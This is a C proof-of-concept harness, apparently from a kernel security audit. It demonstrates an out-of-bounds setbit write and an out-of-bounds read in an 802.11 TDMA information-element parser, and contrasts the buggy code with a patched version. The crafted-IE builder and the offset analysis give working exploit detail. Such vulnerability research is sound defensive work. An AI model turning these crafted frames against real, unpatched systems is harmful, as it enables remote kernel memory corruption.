/*
 * DF-0612 — code-level harness for ieee80211_parse_tdma() OOB setbit write.
 *
 * The live 802.11 receive path (ieee80211_sta_join -> ieee80211_parse_tdma)
 * requires a physical WiFi radio + TDMA vap that is scanning/joining.  This
 * QEMU guest has only vtnet0/lo0 (no wlan hardware), so the live path is
 * unreachable here.  This harness is a faithful userspace replica of the
 * EXACT kernel data structures and the EXACT buggy line, fed a crafted TDMA
 * IE, to deterministically prove the OOB write that the live frame would
 * trigger.  Struct layouts and the setbit() macro are copied verbatim from
 * the audited sys/ tree (verified offsets printed at runtime).
 *
 *   buggy line:  sys/netproto/802_11/wlan/ieee80211_tdma.c:657
 *     setbit(ts->tdma_inuse, tdma->tdma_slot);
 *   setbit macro: sys/sys/param.h:390
 *     #define setbit(a,i) ((a)[(i)/NBBY] |= 1<<((i)%NBBY))
 *   guards present in sibling tdma_process_params() but NOT here:
 *     len < sizeof(*tdma)-2  (ieee80211_tdma.c:536)
 *     tdma->tdma_slot >= TDMA_MAXSLOTS  (ieee80211_tdma.c:555)
 *
 * Build (guest):  cc -O2 -Wall -o harness harness.c
 * Run:            ./harness
 */
#define _KERNEL
#include <sys/types.h>
#include <sys/time.h>
#include "ieee80211_tdma.h"      /* verbatim from sys/netproto/802_11/ */
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#ifndef NBBY
#define NBBY 8
#endif
/* Copied verbatim from sys/sys/param.h:390 */
#define setbit(a,i) ((a)[(i)/NBBY] |= 1<<((i)%NBBY))

#define TDMA_MAXSLOTS 2

/* ---- exact replica of ieee80211_parse_tdma body (ieee80211_tdma.c:644-669) ----
 * Only the setbit() line + the field reads are exercised; tdma_update() and
 * the WME flag handling are stubbed (they don't affect the OOB proof).
 */
static void parse_tdma_UNFIXED(void *ts_raw, const uint8_t *ie)
{
    const struct ieee80211_tdma_param *tdma =
        (const struct ieee80211_tdma_param *)ie;
    struct ieee80211_tdma_state *ts = (struct ieee80211_tdma_state *)ts_raw;
    /* line 657 — NO length check, NO slot range check */
    setbit(ts->tdma_inuse, tdma->tdma_slot);
}

/* ---- the FIXED version (mirrors tdma_process_params guards) ---- */
static void parse_tdma_FIXED(void *ts_raw, const uint8_t *ie)
{
    const struct ieee80211_tdma_param *tdma =
        (const struct ieee80211_tdma_param *)ie;
    struct ieee80211_tdma_state *ts = (struct ieee80211_tdma_state *)ts_raw;
    if (ie[1] < sizeof(*tdma) - 2) {
        printf("    [FIXED] rejected: IE too short (len=%u < %zu)\n",
               ie[1], sizeof(*tdma) - 2);
        return;
    }
    if (tdma->tdma_slot >= TDMA_MAXSLOTS) {
        printf("    [FIXED] rejected: tdma_slot=%u >= TDMA_MAXSLOTS=%d\n",
               tdma->tdma_slot, TDMA_MAXSLOTS);
        return;
    }
    setbit(ts->tdma_inuse, tdma->tdma_slot);
    printf("    [FIXED] accepted: setbit in-bounds (slot=%u)\n", tdma->tdma_slot);
}

static void dump_state(const char *tag, struct ieee80211_tdma_state *ts)
{
    printf("    [%s] tdma_inuse[0]=0x%02x tdma_active[0]=0x%02x "
           "tdma_count=0x%08x tdma_peer=%p tdma_lastprint(tv_sec)=%lld\n",
           tag, ts->tdma_inuse[0], ts->tdma_active[0],
           (unsigned)ts->tdma_count, ts->tdma_peer,
           (long long)ts->tdma_lastprint.tv_sec);
}

/* Build a valid-length TDMA vendor IE (OUI 00:03:7f type/subtype/ver=2)
 * with a chosen tdma_slot. Total IE = sizeof(struct ieee80211_tdma_param)=24.
 */
static void build_ie(uint8_t *ie, uint8_t slot)
{
    ie[0] = 221;                                   /* IEEE80211_ELEMID_VENDOR */
    ie[1] = sizeof(struct ieee80211_tdma_param) - 2; /* len field */
    ie[2] = 0x00; ie[3] = 0x03; ie[4] = 0x7f;      /* OUI */
    ie[5] = 0x01;                                  /* TDMA_OUI_TYPE */
    ie[6] = 0x01;                                  /* TDMA_SUBTYPE_PARAM */
    ie[7] = 0x02;                                  /* TDMA_VERSION */
    ie[8] = slot;                                  /* tdma_slot (attacker) */
    ie[9] = 0x02;                                  /* tdma_slotcnt */
    ie[10] = 0x64; ie[11] = 0x00;                  /* tdma_slotlen=100 */
    ie[12] = 0x05;                                 /* tdma_bintval */
    ie[13] = 0x01;                                 /* tdma_inuse */
    ie[14] = 0x00; ie[15] = 0x00;                  /* pad */
    /* tstamp[8] @16..23 */
    memset(&ie[16], 0, 8);
}

int main(void)
{
    /* Single allocation big enough for the struct + a trailing canary band
     * so an OOB write inside the struct is unambiguous. */
    enum { CANARY = 16 };
    struct ieee80211_tdma_state *ts;
    uint8_t *backing = calloc(1, sizeof(*ts) + CANARY);
    ts = (struct ieee80211_tdma_state *)backing;

    printf("=== DF-0612 harness: ieee80211_parse_tdma OOB setbit ===\n");
    printf("sizeof(ieee80211_tdma_state)=%zu sizeof(ieee80211_tdma_param)=%zu\n",
           sizeof(*ts), sizeof(struct ieee80211_tdma_param));
    printf("offsets: tdma_inuse@%zu tdma_active@%zu tdma_count@%zu "
           "tdma_peer@%zu tdma_lastprint@%zu tdma_fails@%zu tdma_newstate(fnptr)@%zu\n",
           offsetof(struct ieee80211_tdma_state, tdma_inuse),
           offsetof(struct ieee80211_tdma_state, tdma_active),
           offsetof(struct ieee80211_tdma_state, tdma_count),
           offsetof(struct ieee80211_tdma_state, tdma_peer),
           offsetof(struct ieee80211_tdma_state, tdma_lastprint),
           offsetof(struct ieee80211_tdma_state, tdma_fails),
           offsetof(struct ieee80211_tdma_state, tdma_newstate));
    printf("tdma_inuse is a 1-byte array; setbit(ts->tdma_inuse, slot) writes at\n");
    printf("  struct offset 8 + slot/8. slot>=8 is OOB. Max slot=255 -> offset 39.\n");
    printf("Function pointers (tdma_newstate etc.) start @48 -> NOT reachable (u8 idx).\n\n");

    /* ---- Case 1: slot=64 -> offset 16 = tdma_peer byte 0 (pointer corrupt) ---- */
    printf("[Case 1] slot=64 -> setbit writes tdma_peer byte 0 (offset 16)\n");
    memset(backing, 0, sizeof(*ts) + CANARY);
    ts->tdma_peer = (void *)0xdeadbeefcafebabeUL;   /* recognizable */
    ts->tdma_count = 0x41414141;
    ts->tdma_lastprint.tv_sec = 0x42424242;
    dump_state("before", ts);
    uint8_t ie[64];
    build_ie(ie, 64);
    parse_tdma_UNFIXED(ts, ie);
    dump_state("UNFIXED", ts);
    printf("    -> tdma_peer changed 0xdeadbeefcafebabe -> %p : OOB WRITE CONFIRMED\n\n",
           ts->tdma_peer);

    /* ---- Case 2: slot=255 -> offset 39 = last byte of tdma_lastprint ---- */
    printf("[Case 2] slot=255 -> setbit writes last byte of tdma_lastprint (offset 39)\n");
    memset(backing, 0, sizeof(*ts) + CANARY);
    ts->tdma_lastprint.tv_sec = 0;
    ts->tdma_lastprint.tv_usec = 0;
    dump_state("before", ts);
    build_ie(ie, 255);
    parse_tdma_UNFIXED(ts, ie);
    dump_state("UNFIXED", ts);
    printf("    -> byte at struct offset 39 (= &tdma_inuse[31]) flipped: OOB WRITE CONFIRMED\n\n");

    /* ---- Case 3: slot=8 -> offset 9 = tdma_active ---- */
    printf("[Case 3] slot=8 -> setbit writes tdma_active[0] (offset 9, 1 past array)\n");
    memset(backing, 0, sizeof(*ts) + CANARY);
    ts->tdma_active[0] = 0x00;
    dump_state("before", ts);
    build_ie(ie, 8);
    parse_tdma_UNFIXED(ts, ie);
    dump_state("UNFIXED", ts);
    printf("    -> tdma_active[0] = 0x01 : OOB WRITE CONFIRMED\n\n");

    /* ---- Case 4: secondary bug — short IE -> OOB READ of tdma_slot ---- */
    printf("[Case 4] short IE (len=6) -> tdma_slot read from beyond IE body\n");
    printf("    istdmaoui only requires ie[1]>3, so a len=6 IE passes OUI check but\n");
    printf("    tdma_slot@ie[8] is read from whatever follows in the ies->data blob.\n");
    {
        uint8_t shortie[24];
        memset(shortie, 0xAB, sizeof(shortie));  /* simulate adjacent heap data */
        shortie[0] = 221;
        shortie[1] = 6;          /* len=6: only covers id,len,oui(3),type = byte 5 */
        shortie[2] = 0x00; shortie[3] = 0x03; shortie[4] = 0x7f;
        shortie[5] = 0x01;       /* type */
        /* bytes 6.. (subtype/version/slot/...) are PAST the declared IE length;
         * the parser still reads tdma->tdma_slot @ offset 8 = 0xAB. */
        const struct ieee80211_tdma_param *tdma =
            (const struct ieee80211_tdma_param *)shortie;
        printf("    declared IE len=%u, but parser reads tdma_slot=0x%02x (offset 8)\n",
               shortie[1], tdma->tdma_slot);
        printf("    -> OOB READ from short IE; value drives the setbit index.\n\n");
    }

    /* ---- Case 5: FIXED function rejects the OOB slots ---- */
    printf("[Case 5] FIXED parse_tdma rejects OOB slots and short IE\n");
    memset(backing, 0, sizeof(*ts) + CANARY);
    ts->tdma_peer = (void *)0xdeadbeefcafebabeUL;
    build_ie(ie, 64);
    parse_tdma_FIXED(ts, ie);
    dump_state("after slot=64", ts);
    printf("    -> tdma_peer UNCHANGED (%p == 0xdeadbeefcafebabe): FIX HOLDS\n\n",
           ts->tdma_peer);

    /* ---- Case 6: FIXED accepts a valid slot=1 (in range) ---- */
    printf("[Case 6] FIXED parse_tdma accepts valid slot=1 (in range [0,TDMA_MAXSLOTS))\n");
    memset(backing, 0, sizeof(*ts) + CANARY);
    build_ie(ie, 1);
    parse_tdma_FIXED(ts, ie);
    dump_state("after slot=1", ts);
    printf("    -> tdma_inuse[0]=0x%02x (bit 1 set in-bounds): legit path preserved\n\n",
           ts->tdma_inuse[0]);

    free(backing);
    printf("=== harness complete: OOB write confirmed on UNFIXED, blocked on FIXED ===\n");
    return 0;
}
